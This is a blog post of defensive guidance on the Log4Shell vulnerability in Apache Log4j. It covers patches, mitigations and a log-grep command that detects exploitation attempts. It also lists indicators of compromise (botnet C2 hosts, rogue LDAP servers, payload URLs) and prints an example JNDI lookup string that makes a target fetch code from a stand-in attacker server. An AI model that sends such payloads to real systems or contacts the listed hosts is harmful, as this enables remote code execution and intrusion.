Log4J Recommendations – Step by Step Guide

If you’re using any software running on Apache and Java, be aware of this critical zero-day vulnerability. Log4j is a ubiquitous logging tool included in almost every Java application, meaning this vulnerability affects literally millions of servers. The Log4J library vulnerability (CVE-2021-44228) allows an attacker to cause the target system to fetch and execute code from a remote location controlled by the attacker. The second stage, what the downloaded malicious code does next, is fully up to the attacker. This library is used by many software vendors and service providers globally as a standardized way of handling log messages within the software. This blog post is a step-by-step guide (recommendations) that you can follow.

 

Remediations & Recommendations:

  • Get an overview of systems and software using Log4J in your environment (this can be a time-consuming task, so better start early).
  • Check regularly with vendors to see if there is information on patches and other mitigations related to vulnerabilities. SwitHak has created a useful page that collates various articles related to this vulnerability: https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592 and NCSC-NL Page: https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
  • Creating a follow-up file for the fix application. For example:
  • Apply the corresponding security patches for internet-facing software/devices immediately.
  • Apply the corresponding security patches for internal software/devices at your earliest convenience.
  • If patching is not possible for whatever reason, we strongly recommend isolating the system from the Internet and/or applying the following mitigation measures:
    For version >=2.10: set log4j2.formatMsgNoLookups to true
    For releases from 2.0 to 2.10.0: you may want to remove the LDAP class from Log4J completely by issuing the following command: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    For certain JVM Versions, it is possible to set com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false to mitigate the vulnerability. Some JVM versions already have this as the default setting.
  • You may check for exploitation attempts — no matter whether they were successful or not — in your web server logs using the following Linux/Unix command: sudo egrep -i -r ‘\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+’ /var/log/
  • Restrict network access, or limit it to trusted sites. If your system cannot connect to the Internet to fetch the malicious code, the attack will fail.
  • Check your systems daily for updates, and apply any available as soon as possible.
  • Subscribe to reputable Security Bulletins.
  • Check your network perimeter logs for the presence of the list of indicators of compromise (IOCs) mentioned below:
nazi.uy # Mirai botnet C2
log.exposedbotnets.ru # Tsunami botnet C2
194.59.165.21:8080 # Tsunami botnet C2
195.133.40.15:25565 # Mirai botnet C2
185.154.53.140:80 # Kinsing botnet C2
138.197.206.223:80 # Kinsing payload delivery server
18.228.7.109:80 # Kinsing payload delivery server
82.118.18.201:80 # Kinsing payload delivery server
92.242.40.21:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
80.71.158.12:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
45.137.155.55:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
45.137.155.55:80 # Kinsing payload delivery server
62.210.130.250:80 # Mirai payload delivery server
http://210.141.105.67/wp-content/themes/twentythirteen/m8 # Kinsing payload URL
http://159.89.182.117/wp-content/themes/twentyseventeen/ldm # Kinsing payload URL
45.130.229.168:1389 # Rogue LDAP server
82.118.18.201:1534 # Rogue LDAP server
45.130.229.168:1389 # Rogue LDAP server
185.250.148.157:1389 # Rogue LDAP server
92.242.40.21:5557 # Rogue LDAP server
205.185.115.217:47324 # Rogue LDAP server
163.172.157.143:1389 # Rogue LDAP server
45.155.205.233:12344 # Rogue LDAP server

The vulnerability (CVE-2021-44228 1) is critical, as it can be exploited from remote by an unauthenticated adversary to execute arbitrary code (remote code execution – RCE). The criticality of the vulnerability has a score of 10 (out of 10) in the common vulnerability scoring system (CVSS) which outlines how severe the vulnerability is.

The vulnerability results from how log messages are being handled by the log4j processor. If an attacker sends a specially crafted message (it contains a string like ${jndi:ldap://rogueldapserver.com/a}), this may result in loading an external code class or message lookup and the execution of that code, leading to a situation that is known as Remote Code Execution (RCE).


Source: https://www.govcert.ch/ 

 
Backup with Trusted Repository Storage: Blog Post.
Protect your Backup against Ransomware: Blog Post.

Please follow and like us:
Advertisement

1 pings

  1. […] So unfortunately that Apache Log4j vulnerability from the week before ended up a dumpster fire type of situation. In the middle of last week, the second vulnerability was found and fixed in version 2.16, causing another round of urgent patching. And now over the weekend, the third vulnerability was disclosed and patched in version 2.17. This is really not a great trend to enter the Christmas week with, as with many people taking some days off few will be left to actually do the patching! Here’s a step-by-step guide Log4J Remediations & Recommendations. […]

Leave a Reply

error

Enjoy this blog? Please spread the word :)